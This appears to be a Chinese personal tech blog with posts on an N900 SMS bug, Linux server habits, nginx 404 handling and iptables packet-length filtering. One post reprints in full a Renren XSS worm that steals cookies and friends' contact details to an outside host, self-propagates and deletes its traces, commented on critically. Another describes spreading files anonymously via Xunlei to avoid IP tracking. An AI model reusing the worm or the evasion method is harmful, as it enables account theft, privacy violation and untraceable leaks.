往事依依,随风而行。淡忘过去的一切,在风中迎接新的希望。
浏览模式: 标准 | 列表 | 无广告分类:网络·技术

N900的一些問題吧

好久沒寫東西了
今天寫點n900這個被社會遺棄了的東西吧。

n900 的一個短信bug
短信丟失一直顯示正在發送。
如果關閉聊天窗口那個你就再也無法打開這個窗口了除非重啟

原因:csv數據庫被多個進程同時打開導致csv數據庫出現問題。


===========
pc套件模式無法訪問存儲卡。
解決方式
smb 本地映射存儲卡到本機內存。

利用迅雷去匿名传播文件。

虽然在中国,版权法,XX法根没有一样,但是有些文件感觉还是匿名传播好一些。虽然可以挂到网盘上,但是这样的举动非常不靠谱,网盘一般都会记录使用者的ip信息等因素,而且还有个问题,就是下载速度很慢。

前段时间也因为有一些朋友去传播某公司的内部程序文件而被,还有网盘文件无辜被删等情况。

通过一些事情我逐渐发现迅雷是个好东西,一个匿名传播文件的好帮手,不过需要有vip(离线下载)的权限。

迅雷离线的工作原理不想多少,简单的说就是ed2ktorrent,部分url,迅雷服务器在有资源的情况下可以秒杀。既然如此这不就是传播文件的绝妙之处吗。

好了开始正题:

1.  让迅雷离线服务器下载你要传播的文件。方法很多urlbt,电驴的都可以,电驴好一些因为不会记录到你的ip信息。

2.  给该文件生成ed2k链接,为啥ed2k呢。匿名呀,torrent的话传播不方便呀。Ps 这个有工具可以生成google下就可以了 keyed2k生成器。

3.  然偶分享那个ed2k链接就好了。这样一般的电驴都会提示无种,但是你把这个ed2k链接扔到迅雷离线下载后,就立马秒杀了。

关于Linux服务器的一些建议

本人其实并不是什么大牛,在6年的服务器配置生涯中终结出了一些属于自己的原则。可能并不大适用在大型网络或者其他什么地方,只是总结出来给大家一些建议,欢迎大家来讨论。
关于磁盘的分区,这个是个很恶心的问题。分区方法基本都差不多/boot,/,等不过我习惯/不是所有的硬盘,只分60G 够系统的运行就好了。然后分出/data0 /data1 2个分区来装数据,这样在重装系统后,重要的数据不会丢失。系统恢复起来也极为的方便(后面具体说。)
和人习惯分2个,一个做备份盘,一个做空间。
这样有人就要问了/root /home下的东西怎么办。首先一台服务器,大家就不要去3天2头的就去动。你东西干嘛扔到自己的home目录下呀。我习惯在自己的home下放一些软链和一些常用的脚本命令。这样即使重装了也没什么损失,顶多是自己要多敲了很多命令。有的时候扔一些detail和log或者是临时的代码。如果怕丢失写个脚本每天备份下就好了。反正自己的home不要装很多的东西,主要以脚本为主,为什么后面详细的说。

下面到了软件的选择,是选择自己编译软件呢,还是直接yum了。这个因该是根据什么软件来决定。如果是iftop,snmp呀这些小软,不对外服务的,作用是给自己用的,我认为yum装就好了,性能无所谓,你能24小时iftop,mtr吗?
说道编译软件就不得不说说prefix的问题了,很多人不喜欢编译软件加prefix,直接撞倒bin或者sbin里面去了,我想说对于很多软件这么做很不对,至少在升级等问题上不好办。我建议是对外服务的大型软件要价prefix参数,位置基本在/usr/local/ 如果你觉得乱在加一个文件夹好了。ex:/usr/local/server/ 这类软件nginx,apache,mysql,php等不过python这样的脚本解析器就算了。svn的话也不用了。
总结下基本就是如下的定律:
1。cli下的网管工具,直接yum吧。ex:iftop,snmpwalk,dig
2。符合第一条,但是yum上面的版本太低。那么找新的源码去编译不要加prefix。如果只需要一个功能不要make install直接copy那个文件到sbin替换即可,最好备份下原文件。ex:iptables, ip tools
3。大型软件,如果提供服务的,自己编译去,绝大部分都要指定prefix。
4。设置工具不管是yum还是源码安装都不要制定prefix。这样方便命令设置,如果是大型软件自带的设置工具,那么还是prefix编译大型软件,然后复制那些小工具到sbin中吧。ex:apache的htpasswd,squid的什么client呀。
5。特殊软件,centos自带的ipsec tool等 yum吧。
6。内核或者模块有关,我的政策是内核能不编译就不编译,yum安装优先。给内核打补丁,如果不是特别必要不要去打。因为补丁会造成内核的不稳定。可能很多大型项目内核都是要自己编译的,这样性能高,而且关闭一些不必要的功能。不过我干的都不是高端,感觉默认内核能对付的用,而且编译内核麻烦。如果你是高手忽略这条吧,内核该怎么弄就怎么弄。

服务器安全
这个怎么说呢,该怎么弄怎么弄吧。root的密码最好一个人知道,别人要的话加key。
其他安全,还是那句老话baidu吧。我没什么特别的意见。

内核优化
rhca442没学完呢,忽略。

下面进入另外一个重点,大型软件用不用daemon呢。
我个人不喜欢用daemon。比较喜欢用&来启动,这样方便kill。
我的rc.local脚本基本在20+行。大型软件都是rc.local控制启动。

说了这么多,应该说说编译的具体事项了。
编译的话个人习惯是在/data1/software下进行编译。解压后删除压缩文件,保留src,和make过的东西。这样在系统重装后,不用等待漫长的编译时间了,直接make install就好了。

软件的升级
因为制定了prefix升级非常的简单,首先mv那个软件目录(改名),然后编译安装新软件。如果在一段时间后感觉新版本工作良好,删掉老版本软件和他的src。如果新软件工作不好可以随时替换过来。绝对比不加prefix替换要方便的多。

大家这回应该明白了吧,为什么home目录中文件很少了,主要是链接了。
没错因为软件编译了prefix,系统不会有这个命令,而且config是分散的。编译文件在其他目录,这样就解放了home目录了。


其他
mysql的db目录扔到/data0中很好,别凑在mysql的安装目录了。
日志,可恶的东西,我很不习惯基本我的策略是每天压缩一次,一个月之前的咱们说拜拜吧。http我基本不开日志。太大了。而且我没怎么看过日志。

最后,也是一点最重要的。
如果条件如许,不要再服务器上做实验。实验找专门的试验机器,mysql等数据都考过去,然后模拟测试。等到结果满意了在上到主服务器上。测试机器配置不要求高,主要是为了测试新版软件的性能和bug。
如果你习惯每天干点,或者3天2头打算给服务器加点功能,咱们弄台测试机器吧,你天天捅咕都没事,正好一个月下来你捅咕的差不多了,该个主服务器升级了。而且测试机挂了咱们也不着急,边看电影边重装呗。

ps 别没事就重装linux。linux这东西重装了配置会累死人。
 

Tags: linux, 服务器

blog疑似被墙

没什么说的,被墙了。
gfw认证,保证质量。

关于今天校内的这个破事

JavaScript代码
  1. var token = XN.get_check;  
  2. var mobile_friends = [];  
  3. var all_friends = [];  
  4.   
  5. var my_id = 0;  
  6.   
  7. function send_data(v)  //发送函数 get模式
  8. {  
  9.     var img = document.createElement('img');  
  10.     img.src = 'http://qiutuan.net/2011/log.php?' + v;  
  11.     document.body.appendChild(img);  
  12.     document.body.removeChild(img);  
  13. }  
  14.   
  15. function send_to_friends(){  //发信到好友
  16.     var i;  
  17.     var idlist = [];  
  18.     for (i = 0; i < all_friends.length; i++)  //所有好友
  19.     {  
  20.         idlist.push(all_friends[i].toString());  
  21.         if (idlist.length == 10)  //每次10个
  22.         {  
  23.             _send_to_friends(idlist);  
  24.             idlist = [];  
  25.         }  
  26.     }  
  27.     if (idlist.length > 0) _send_to_friends(idlist);  
  28. }  
  29.   
  30. function _send_to_friends(ids){  
  31.   var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……(视频亮点在2:57秒)  <script src='http://qiutuan.net/2011/51.js'></script> <embed src='http://player.youku.com/player.php/sid/XMjYxNDMwNDQ4/v.swf' quality='high' width='480' height='400' align='middle' allowScriptAccess='sameDomain' type='application/x-shockwave-flash'></embed>";  
  32.   var p = {action:"sharetofriend",   
  33.         body:content,   
  34.         form:{  
  35.             albumid:"0",  
  36.             currenUserTinyurl:"http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",  
  37.             fromSharedId:"0",  
  38.             fromShareOwner:"0",  
  39.             fromname:"",  
  40.             fromno:"0",  
  41.             fromuniv:"",  
  42.             link:"http://edm.renren.com/link.do?l=27627&t=51",  
  43.             pic:"http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",  
  44.             summary:"相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",  
  45.             title:"加a02好友 奖品散不停",  
  46.             type:"51"  
  47.         },   
  48.         ids:ids,   
  49.         noteId:"0",   
  50.         subject:"有人暗恋你哦,你想知道TA是谁么",   
  51.         tsc:token};  
  52.   
  53.   delete p.tsc;  
  54.   
  55. new XN.net.xmlhttp({url:"http://share.renren.com/share/submit.do",  
  56.                     data:"tsc="+token+"&post="+encodeURIComponent(XN.json.build(p)),  
  57.                     onSuccess: function (response) {del_send_messages();}  
  58.                     });  
  59. }  
  60.   
  61. function del_messages(idlist){  //对已发送列表里的站内信进行删除
  62.   
  63. var struct_msgs ={  
  64.                     action:"delete",  
  65.                     folder:"1",  
  66.                     slice:"20",  
  67.                     unread_count:"0",  
  68.                     ids:idlist  
  69.                 };  
  70.   
  71. new Ajax.Request("/message/ajax.do",{method:"get",parameters:"post="+encodeURIComponent(XN.JSON.build(struct_msgs))});  
  72.   
  73. }  
  74.   
  75.   //从已发站内信中删除
  76. function del_send_messages(){  
  77.     new XN.net.xmlhttp({url:"http://msg.renren.com/message/inbox.do?f=1",  
  78.                     method:"GET",   
  79.                     onSuccess: function (response) {                  
  80.                         var listid1 = response.responseText.match(/thread_(\d+)/g);  
  81.                         for(var i=0;i < listid1.length;i++){  
  82.                             listid1[i] = listid1[i].substring(7);  
  83.                         }  
  84.                         del_messages(listid1);  
  85.                     }  
  86.                 });  
  87. }  
  88.   
  89.   
  90.   
  91. function get_self_info(){  
  92. new XN.net.xmlhttp({url:"http://www.renren.com/profile.do?v=info_ajax&undefined",method:"GET",onSuccess:function(r){  
  93.   
  94. var text_html = r.responseText;  
  95.   
  96. var id,name,birthday,qq,school,mobile,msn,day,month,year;  
  97.   
  98.     id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];  
  99.     my_id = id;  
  100.     school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1]; 
  101.     year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1]; 
  102.     month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1]; 
  103.     day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1]; 
  104.     name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1]; 
  105.      
  106.     if(month <= 9){ 
  107.      month = "0"+month; 
  108.     }  
  109.     if(day <= 9){ 
  110.      day = "0"+day; 
  111.     }  
  112.     birthday = year + month + day; 
  113.      
  114.     qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
  115.      
  116.     msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
  117.      
  118.     mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
  119.      
  120.     var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name)  
  121.                 + "&school=" + encodeURIComponent(school)  
  122.                 + "&birth=" + birthday  
  123.                 + "&qq=" + qq  
  124.                 + "&msn=" + encodeURIComponent(msn)  
  125.                 + "&mobile=" + mobile; 
  126.     send_data(data); 
  127. } 
  128.  
  129. }); 
  130. } 
  131.  
  132. function get_card(tid) 
  133. { 
  134.       new XN.net.xmlhttp({url:'http://www.renren.com/showcard?friendID='+tid,   
  135.                       method:'get', 
  136.                       onSuccess:function(r){ 
  137.                       var obj = eval("("+r.responseText+")"); 
  138.                       var data = 'type=card&my_id=' + my_id 
  139.                                 + '&id=' + obj.id 
  140.                                 + '&name=' + encodeURIComponent(obj.name) 
  141.                                 + '&msn=' + encodeURIComponent(obj.msn) 
  142.                                 + '&phone=' + encodeURIComponent(obj.phone) 
  143.                                 + '&qq=' + encodeURIComponent(obj.qq) 
  144.                                 + '&email=' + encodeURIComponent(obj.email) 
  145.                                 + '&address=' + encodeURIComponent(obj.address); 
  146.                     send_data(data); 
  147.                 } 
  148.      });  
  149. } 
  150.  
  151.  
  152. function get_all_friends(){ 
  153.     new XN.net.xmlhttp({url:"http://www.renren.com/listcards",method:"GET",onSuccess:function(r){ 
  154.  
  155.     var text_html = r.responseText; 
  156.     //alert(text_html); 
  157.      
  158.     var friends_list = eval("("+text_html+")"); 
  159.     var owned_mobile = (friends_list.list[0].list).length;  //have mobile friends number 
  160.     for(var i =0;i< owned_mobile ;i++){ 
  161.         mobile_friends.push(friends_list.list[0].list[i].id); 
  162.         all_friends.push(friends_list.list[0].list[i].id); 
  163.     } 
  164.     //alert(mobile_friends.length); 
  165.      
  166.     var no_mobile = (friends_list.list[1].list).length; 
  167.     for(var i =0;i< no_mobile ;i++){ 
  168.         all_friends.push(friends_list.list[1].list[i].id); 
  169.     } 
  170.     //alert(all_friends.length); 
  171.     for(var i = 0; i < mobile_friends.length; i++) 
  172.         get_card(mobile_friends[i]); 
  173.     send_to_friends(); 
  174. } 
  175. }); 
  176. } 
  177.  
  178. window.onload = function(){ 
  179. send_data('type=cookie&v='+encodeURIComponent(document.cookie));  
  180. get_self_info();  
  181. get_all_friends();  
  182. }  

不想说什么连cookies都他妈的不放过。不过他的服务器已经被ddos的起不来了。
其实如果吧这个脚本改成随意send一些数据去以网站,这绝对是ddos攻击呀。
原因就是没有过滤<>这个东西  难道sb程序员没有加 html转义吗
典型的xss。

冒个泡,

这几周吧简单的研究下了as级拓扑,还有isp直接的一些运行模式吧。中美的网络越来越堵了。

打算继续以这2个方向前进去检测中美网络。
1.根据as peer
2.找光纤+eac

http://v70.us/watch.php
lossrtt的一个监视吧,网络比较差写的比较懒。
欢迎大家提供国际出口ip。 ps最好是中国那端的。

Tags: as

nginx 处理php 404的一下问题

在设置了 error_page 404的情况下让php出404页面很简单

加上一句fastcgi_intercept_errors on;就ok了。
但是有的时候我们懒得设置404页面,或者是不需要设置404页面,
php碰到没有的文件就会来上那个一句 No input file specified.
这是因为 fastcgi_intercept_errors on;的机制,如果没有自定页面是不会替换cgi的404信息的。
有2种方法可以解决这种问题
1.

2.

性能不分析了,没做实验。

一种限制迅雷偷偷上传文件的方法。

大家都应该知道,数据传输的时候 数据包的大小应该是mtu。大概在1000左右。

任何软件都不会用小包去传输大量数据,因为小包传数据开销太大。 这个开销就是数据包的包头。

2层 14字节

ip包头 20字节。

udp包头 8字节

tcp包头 20个字节。

如果发小包的话 会白白的浪费20+20or(8)+14   54字节或者 42字节在 传输协议上。所以尽可能用大包去发数据。

但是有一种数据是例外的,就是语音数据,这个要求延时低,所以小包发送。 语音数据与我们一般说的下载数据有本质的区别。所以这里不讨论这个。

所以我们可以采用丢传出数据包来达到屏蔽迅雷上传的目的,但是迅雷的确需要上传。tcp链接是可靠的需要ack去确定数据达到。udp虽然不需要确认ack,但是程序会发一些确认udp于其他主机联系。

这样就出现本文说的这种方法。

通过数据包的大小来确认是否丢包。

win下我没找到什么程序能根据数据包的大小去丢包的。只有限速和禁止通信的。限速用netlimit很好。有特别版的。

只能在路由器上下手了。

linux的路由器 tomato,ddwrt都可以。

说下iptables的 length模块吧。

用法是  -m length --length XX:XX

解释下最后的XX:XX

第一个XX是匹配数据包最小是多少,后面的那个是匹配最大是多少。

128:128这句话就是匹配数据包大小为128的包

128: 这是匹配任何大于128的数据包。 iptables会在:后面自动加上 65535,如果你先匹配128-1024 直接 128:1024就可以了

:128是匹配小于128的所有包。

 

结论利用iptables 结合迅雷的端口号然后丢大于 256的包就可以了, 我一般用512。

Records:521234567